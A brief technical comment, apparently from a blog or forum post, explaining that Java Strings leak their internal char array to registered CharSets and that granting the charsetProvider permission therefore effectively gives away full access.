The immutability of Strings hinges on the fact that one cannot access the char array in which the String contents are stored. Now, String does leak the internal array to any registered CharSet who wants it. However, registering a CharSet requires a CharSetProvider and that, in turn, requires the charsetProvider permission.

Unsigned applets don't have that permission and can't create their own registered CharSets. But it is something to keep in mind. If you're granting the charsetProvider permission, you're pretty much implicitly giving away full access.